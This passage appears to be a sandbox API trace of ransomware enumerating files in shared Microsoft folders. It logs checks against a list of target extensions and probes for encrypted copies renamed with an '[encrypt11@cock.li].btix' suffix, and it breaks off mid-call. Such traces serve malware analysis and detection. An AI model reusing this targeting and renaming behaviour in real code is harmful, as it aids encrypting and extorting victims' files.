lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.160] lstrlenW (lpString=".pdf") returned 4 [0058.160] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString=".xls") returned 4 [0058.160] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString=".xlsx") returned 5 [0058.160] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.160] lstrlenW (lpString=".ppt") returned 4 [0058.160] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString=".zip") returned 4 [0058.160] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString=".rar") returned 4 [0058.160] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString=".bz2") returned 4 [0058.161] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.161] lstrlenW (lpString=".7z") returned 3 [0058.161] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.161] lstrlenW (lpString=".dbf") returned 4 [0058.161] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.161] lstrlenW (lpString=".1cd") returned 4 [0058.161] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.161] lstrlenW (lpString=".jpg") returned 4 [0058.161] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.161] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0058.161] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0058.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.310] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=23040) returned 1 [0058.310] CloseHandle (hObject=0x31c) returned 1 [0058.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0058.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.310] lstrlenW (lpString=".doc") returned 4 [0058.310] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.310] lstrlenW (lpString=".docx") returned 5 [0058.310] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.310] lstrlenW (lpString=".pdf") returned 4 [0058.310] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.310] lstrlenW (lpString=".xls") returned 4 [0058.310] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.311] lstrlenW (lpString=".xlsx") returned 5 [0058.311] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.311] lstrlenW (lpString=".ppt") returned 4 [0058.311] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString=".zip") returned 4 [0058.311] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.311] lstrlenW (lpString=".rar") returned 4 [0058.311] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.311] lstrlenW (lpString=".bz2") returned 4 [0058.311] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.311] lstrlenW (lpString=".7z") returned 3 [0058.311] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString=".dbf") returned 4 [0058.311] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString=".1cd") returned 4 [0058.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString=".jpg") returned 4 [0058.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.311] lstrlenW (lpString=".doc") returned 4 [0058.311] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.311] lstrlenW (lpString=".docx") returned 5 [0058.312] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.312] lstrlenW (lpString=".pdf") returned 4 [0058.312] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.312] lstrlenW (lpString=".xls") returned 4 [0058.312] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.312] lstrlenW (lpString=".xlsx") returned 5 [0058.312] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.312] lstrlenW (lpString=".ppt") returned 4 [0058.312] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.312] lstrlenW (lpString=".zip") returned 4 [0058.312] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.312] lstrlenW (lpString=".rar") returned 4 [0058.312] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.312] lstrlenW (lpString=".bz2") returned 4 [0058.312] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.312] lstrlenW (lpString=".7z") returned 3 [0058.312] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.312] lstrlenW (lpString=".dbf") returned 4 [0058.312] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.312] lstrlenW (lpString=".1cd") returned 4 [0058.312] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0058.312] lstrlenW (lpString=".jpg") returned 4 [0058.312] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.313] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0058.313] lstrlenW (lpString="mip.exe.mui") returned 11 [0058.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0058.673] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=10752) returned 1 [0058.673] CloseHandle (hObject=0x394) returned 1 [0058.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0058.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.724] lstrlenW (lpString=".doc") returned 4 [0058.724] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.724] lstrlenW (lpString=".docx") returned 5 [0058.724] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.724] lstrlenW (lpString=".pdf") returned 4 [0058.724] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.724] lstrlenW (lpString=".xls") returned 4 [0058.724] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.724] lstrlenW (lpString=".xlsx") returned 5 [0058.724] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.724] lstrlenW (lpString=".ppt") returned 4 [0058.724] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.724] lstrlenW (lpString=".zip") returned 4 [0058.724] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.724] lstrlenW (lpString=".rar") returned 4 [0058.724] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.724] lstrlenW (lpString=".bz2") returned 4 [0058.725] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.725] lstrlenW (lpString=".7z") returned 3 [0058.725] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString=".dbf") returned 4 [0058.725] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString=".1cd") returned 4 [0058.725] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString=".jpg") returned 4 [0058.725] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString=".doc") returned 4 [0058.725] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.725] lstrlenW (lpString=".docx") returned 5 [0058.725] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.725] lstrlenW (lpString=".pdf") returned 4 [0058.725] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.725] lstrlenW (lpString=".xls") returned 4 [0058.725] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.725] lstrlenW (lpString=".xlsx") returned 5 [0058.725] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.725] lstrlenW (lpString=".ppt") returned 4 [0058.725] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.725] lstrlenW (lpString=".zip") returned 4 [0058.725] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.725] lstrlenW (lpString=".rar") returned 4 [0058.725] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.725] lstrlenW (lpString=".bz2") returned 4 [0058.725] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.726] lstrlenW (lpString=".7z") returned 3 [0058.726] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.726] lstrlenW (lpString=".dbf") returned 4 [0058.726] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.726] lstrlenW (lpString=".1cd") returned 4 [0058.726] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0058.726] lstrlenW (lpString=".jpg") returned 4 [0058.726] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.726] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0058.726] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0058.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0059.021] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=11264) returned 1 [0059.021] CloseHandle (hObject=0x32c) returned 1 [0059.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0059.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0059.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.022] lstrlenW (lpString=".doc") returned 4 [0059.022] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.022] lstrlenW (lpString=".docx") returned 5 [0059.022] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0059.022] lstrlenW (lpString=".pdf") returned 4 [0059.022] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.022] lstrlenW (lpString=".xls") returned 4 [0059.022] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.022] lstrlenW (lpString=".xlsx") returned 5 [0059.022] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0059.022] lstrlenW (lpString=".ppt") returned 4 [0059.022] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.022] lstrlenW (lpString=".zip") returned 4 [0059.022] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.022] lstrlenW (lpString=".rar") returned 4 [0059.022] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.022] lstrlenW (lpString=".bz2") returned 4 [0059.022] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.022] lstrlenW (lpString=".7z") returned 3 [0059.022] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.022] lstrlenW (lpString=".dbf") returned 4 [0059.022] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.023] lstrlenW (lpString=".1cd") returned 4 [0059.023] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.023] lstrlenW (lpString=".jpg") returned 4 [0059.023] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.023] lstrlenW (lpString=".doc") returned 4 [0059.023] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.023] lstrlenW (lpString=".docx") returned 5 [0059.023] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0059.023] lstrlenW (lpString=".pdf") returned 4 [0059.023] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.023] lstrlenW (lpString=".xls") returned 4 [0059.023] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.023] lstrlenW (lpString=".xlsx") returned 5 [0059.023] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0059.023] lstrlenW (lpString=".ppt") returned 4 [0059.023] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.023] lstrlenW (lpString=".zip") returned 4 [0059.023] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.023] lstrlenW (lpString=".rar") returned 4 [0059.024] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.024] lstrlenW (lpString=".bz2") returned 4 [0059.024] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.024] lstrlenW (lpString=".7z") returned 3 [0059.024] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.024] lstrlenW (lpString=".dbf") returned 4 [0059.024] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.024] lstrlenW (lpString=".1cd") returned 4 [0059.024] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0059.024] lstrlenW (lpString=".jpg") returned 4 [0059.024] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.024] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0059.024] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0059.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0059.366] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=41984) returned 1 [0059.366] CloseHandle (hObject=0x30c) returned 1 [0059.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0059.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0059.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString=".doc") returned 4 [0059.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString=".docx") returned 5 [0059.665] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0059.665] lstrlenW (lpString=".pdf") returned 4 [0059.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString=".xls") returned 4 [0059.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString=".xlsx") returned 5 [0059.665] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0059.665] lstrlenW (lpString=".ppt") returned 4 [0059.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString=".zip") returned 4 [0059.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString=".rar") returned 4 [0059.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString=".bz2") returned 4 [0059.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.665] lstrlenW (lpString=".7z") returned 3 [0059.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString=".dbf") returned 4 [0059.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString=".1cd") returned 4 [0059.665] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.665] lstrlenW (lpString=".jpg") returned 4 [0059.665] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString=".doc") returned 4 [0059.666] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString=".docx") returned 5 [0059.666] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0059.666] lstrlenW (lpString=".pdf") returned 4 [0059.666] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString=".xls") returned 4 [0059.666] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString=".xlsx") returned 5 [0059.666] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0059.666] lstrlenW (lpString=".ppt") returned 4 [0059.666] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString=".zip") returned 4 [0059.666] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString=".rar") returned 4 [0059.666] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.666] lstrlenW (lpString=".bz2") returned 4 [0059.666] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.666] lstrlenW (lpString=".7z") returned 3 [0059.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString=".dbf") returned 4 [0059.666] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString=".1cd") returned 4 [0059.666] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0059.666] lstrlenW (lpString=".jpg") returned 4 [0059.666] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.667] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0059.667] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0059.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0059.667] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=18624) returned 1 [0059.667] CloseHandle (hObject=0x3a4) returned 1 [0059.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: 